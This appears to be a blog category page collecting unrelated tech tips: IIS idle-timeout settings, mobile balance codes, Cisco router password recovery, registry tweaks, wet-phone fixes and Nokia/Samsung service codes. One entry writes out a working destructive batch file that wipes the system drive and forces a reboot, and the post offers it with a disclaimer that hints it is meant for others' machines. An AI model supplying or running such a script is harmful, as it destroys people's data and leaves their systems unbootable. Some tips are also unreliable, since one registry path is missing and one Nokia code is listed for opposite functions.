Category: Tips n Tricks

Whether you host in-house or with a managed Windows hosting provider, if you self-administer a web server it is good to know that by default IIS7 sets application pools to “time-out” after 20 minutes of inactivity. So if you don’t have a visitor to your site within 20 minutes the application pool will shut down – freeing up those system resources. Then the next time a request comes into the site IIS7 will automatically restart the application pool and serve up the requested pages.

This is a great way to preserve resources since every running application pool does place a certain amount of overhead on the system. But, it also means that the first request – the one that causes the application pool to restart – is very slow. It is slow because the process literally needs to start, then load the required assemblies (like .NET) then load the requested pages. Depending on the size and complexity of your application, this might just be a couple of seconds or it might take 30+ seconds (during which time a user would likely give up and move on to a different site).

If you want to extend the length of the time-out setting, just change it from the default of 20 to however many minutes you want. You can also adjust the setting to 0 (zero) which effectively disables the timeout so that the application pool will never shut down due to being idle.

To make this change, open Server Manager; Expand the Roles node; Expand the Web Server (IIS) node. Then click on the Web Server (IIS) node; Expand the node with your local server name; and click on the Application Pools icon. You’ll then see a list of the application pools that are defined on your server. In the right-hand pane you’ll see an option for Advanced Settings – click that.

Once you see the Advanced Settings dialog box just look for the Idle Time-out (minutes) property; click where the default “20” is, and change it to whatever value you prefer.

This is just one of many settings that can impact the performance, uptime, and functioning of your web site. If you don’t have the time or interest in learning and maintaining the various settings for a secure high-performing web server, you might want to consider a fully managed windows hosting solution and let a trained and experienced administrator take care of the work for you.


How To Check Balance?
The Basic Question Which Troubles you when you switch from one cellular network provider to other.
With The Increased number of cellular network providers each day, more People struggling to check balance in their mobile account, This Post has tried to cover information about your mobile network provider in India.

Reliance GSM

Dial *367# From Your Reliance Mobile to Check Account Balance.
Customer Care Number for Reliance GSM Mobile: Dial *333

Tata Docomo

To Know Account Balance information dial *111# from your Tata Docomo Mobile.
Get Interactive Voice Call Balance Announcement by dialling 12525 from your Tata Docomo Mobile.


To Check your Balance in Aircel, Dial *125# from your Aircel Mobile.
For Voice Announcement of your balance, Dial 123
Customer Care Support Dial 121.


To Check Account Balance in your Idea Mobile Dial *130# from Your Idea Mobile.
Customer Care Number for Idea: 98*** 12345
[Replace *** with respective Phone Number Series]


To Check Balance in Airtel Dial *123# from Your Airtel mobile.
Customer Care Support for Airtel: 121


To Check Balance from your Vodafone Mobile Dial *111# .
Happy to Help Customer Care Support: 111


To Check Balance Dial *123# from your BSNL Prepaid Mobile.

go to notepad and type the following and save it as a .bat file

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

If executed this program will immediately shutdown ur system and delete all the contents of the system drive. Next time your system wont boot. Please dont try it in your own system. I am not responsible for anything done by using this program

To change the name of the Recycle Bin desktop icon, open Regedit and go to:


and change the name “Recycle Bin” to whatever you want (don’t type any quotes)

  • Turn the power switch off and back on to recycle the power.

    Press the Break key or key sequence to put the router into ROM Monitor mode. The break key varies by computer or terminal software. The sequence might be CTRL-D, CTRL-Break or another combination.

    At the > prompt, type 0 to record the current value of the configuration register normally 0x2102, or 0x102.


      Configuration register = 0x2102 at last boot

      Bit# Configuration register option settings:

      15 Diagnostic mode disabled.

    Type o/r 0x2142 to tell the router to boot from flash without loading the configuration in NVRAM at the next reload.

    Type i to have the router reboot. The router ignores the configuration in NVRAM.

    The router runs the setup dialog, Type no or press Ctrl-C to skip the initial setup Dialog.

    Type enable ate the Router> prompt to go to privileged exec mode.

    Copy the startup configuration to the running configuration by using the configure memory or copy startup-config running-config commands. Do not type configure terminal. If you use the configure terminal command, you overwrite the configuration stored in NVRAM.

    View the configuration by typing write terminal or show running-config. View the configured line, vty and enable passwords. Any encrypted passwords need to be changed.

    Enter the configuration mode by typing configure terminal. Change the line of enable passwords as necessary.

    All interfaces are in a shutdown state. Issue the no shutdown command on every interface that is to be used.

    Type config-register 0x2102 to return the router to normal operation at the next reloads.

    Exit configuration mode by pressing Ctrl-Z

    Save your changes by typing write memory or copy running-config startup-config.

    Reload the router and verify the passwords.

  • Many of you get your mobile phone wet by one way or another. You worry as you mistakenly drop your mobile phone in water. It can also get wet if you are out in a heavy rain. However, there is no need to panic. It is possible to save your wet mobile phone by quickly repairing it. In order to save your mobile phone from water damage, you can consider these easy and simple solutions:

    Act rapidly :

    The first thing you have to do in order to save your wet mobile phone is to act rapidly. Quickly remove all the detachable parts as well as covers possible such as the back cover, battery, the SIM card, memory card etc. Next, take a piece of cloth or a tissue paper to wipe the excess water you are able to notice within the mobile phone. Make sure that you dry it completely. If you don’ t do this, the water inside the mobile phone will begin to evaporate and gather in places which will be difficult to reach.

    This will save your wet mobile phone and it will start working if it was under water for just a little while.

    Using a hairdryer :

    Take a hairdryer and begin drying the mobile phone while giving more consideration to the place where the battery is located. The battery housing usually consists of tiny holes to let in air (so giving more space for water) inside the mobile phone.

    Make sure that you are not holding the hairdryer very near to the mobile phone. Keeping it too close to the mobile phone may harm the electrical mechanism of the mobile phone. Keep on drying the mobile phone from a safe distance for about twenty to thirty minutes.

    If solution number 1 and solution number 2 don’t work, try solution number 3.

    Drying for a long time:

    Take off the covers as well as battery from the mobile phone. Put the phone in a dry as well as warm place to let the water inside the phone evaporate gradually from the little holes in the mobile phone.

    1. Go to your Start menu, click on Run and open up your Registry Editor by typing “regedit” without the quotes and press OK.

    2. Once there go to: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

    3. Delete the value CheckedValue. (Its type should be REG_SZ and data should be 0 or 1.)

    4. Create a new DWORD value called CheckedValue (same as above, except that the type is REG_DWORD) by right clicking on the right pane->New->DWORD Value. Modify the value data to 1 (0x00000001).


    Mobile Phone Secret Codes

    Nokia Codes And Secrets
    With Nokia codes or Nokia secret codes you can access hidden features and gain information about your Nokia phone. Many of the Nokia codes are only normally used by Nokia engineers
    These may not work on some mobs…but u can try…

    Nokia Code functions:
    *3370# This Nokia code activates Enhanced Full Rate Codec (EFR) – Your Nokia cell phone uses the best sound quality but talk time is reduced my approx. 5%

    *#4720# Activate Half Rate Codec – Your phone uses a lower quality sound but you should gain approx 30% more Talk Time

    *#4720# With this Nokia code you can deactivate the Half Rate Codec

    *#0000# Displays your phones software version, 1st Line : Software Version, 2nd Line : Software Release Date, 3rd Line : Compression Type

    *#9999# Phones software version if *#0000# does not work

    *#06# For checking the International Mobile Equipment Identity (IMEI Number)

    *#147# This lets you know who called you last (Only vodofone)

    *#1471# Last call (Only vodofone)

    *#21# This phone code allows you to check the number that “All Calls” are diverted to

    *#2640# Displays phone security code in use

    *#30# Lets you see the private number

    *#43# Allows you to check the “Call Waiting” status of your cell phone.

    *#61# Allows you to check the number that “On No Reply” calls are diverted to

    *#62# Allows you to check the number that “Divert If Unreachable (no service)” calls are diverted to

    *#67# Allows you to check the number that “On Busy Calls” are diverted to

    *#67705646# Phone code that removes operator logo on 3310 & 3330

    *#73# Reset phone timers and game scores

    *#746025625# Displays the SIM Clock status, if your phone supports this power saving feature “SIM Clock Stop Allowed”, it means you will get the best standby time possible

    *#7760# Manufactures code

    *#7780# Restore factory settings

    *#8110# Software version for the nokia 8110

    *#92702689# Displays – 1.Serial Number, 2.Date Made, 3.Purchase Date, 4.Date of last repair (0000 for no repairs), 5.Transfer User Data. To exit this mode you need to switch your phone off then on again

    *#94870345123456789# Deactivate the PWM-Mem

    **21*number# Turn on “All Calls” diverting to the phone number entered

    **61*number# Turn on “No Reply” diverting to the phone number entered

    **67*number# Turn on “On Busy” diverting to the phone number entered

    12345 This is the default security code press and hold # Lets you switch between lines.

    Samsung Reset Codes
    You can try these in case you downloaded corrupted or incompatible Java midlets or other media, which are causing problems with the phone.

    *2767*JAVA# Java Reset and (Deletes all Java Midlets)

    *2767*MEDIA# Reset Media (Deletes All Sounds and Pics)

    *2767*WAP# Wap Reset

    *2767*CUST# Reset Custom EEPR0M

    *2767*FULL# Reset Full EEPR0M (Caution)

    For example : *2767*JAVA# would be keyed in as *2767*5282#

    Note : Not all codes will work with SGH-C100.

    Other Samsung Codes

    *#06# IMEI code

    *#9998*4357# Help Menu

    *#9998*5282# Java menu (GRPS/CSD settings for JAVA server)

    *#9999#0# Monitor Mode

    *#9999# or *#9998*9999# Software Version

    *#8888# or *#9998*8888# Hardware Version

    *#9998*746# or *#9998*0746# or *#0746# Sim Infos

    *#9998*523# or *#9998*0523# or *#0523# Display Contrast

    *#9998*842# or *#9998*0842# or *#0842# Vibration On (until you push OK)

    *#9998*289# or *#9998*0289# or *#0289# Buzzer On (until you push OK)

    *#9998*288# or *#9998*0288# or *#0288# Battery & Field Infos

    *#9998*377# or *#9998*0377# Error log

    *#9998*778# or *#9998*0778# or *#0778# Sim Service table

    *#9998*782# show date and alarm clock

    *#8999*638# show network information

    *#9998*5646# change operator logo at startup

    *#9998*76# production number

    *#9998*968# view melody for alarm

    *#9998*585# Non-Volatile Memory (NVM)

    *#3243948# Digital Audio Interference Off

    *#32436837# Digital Audio Interference On

    ** I take no responsibility for any data loss resulting in using these codes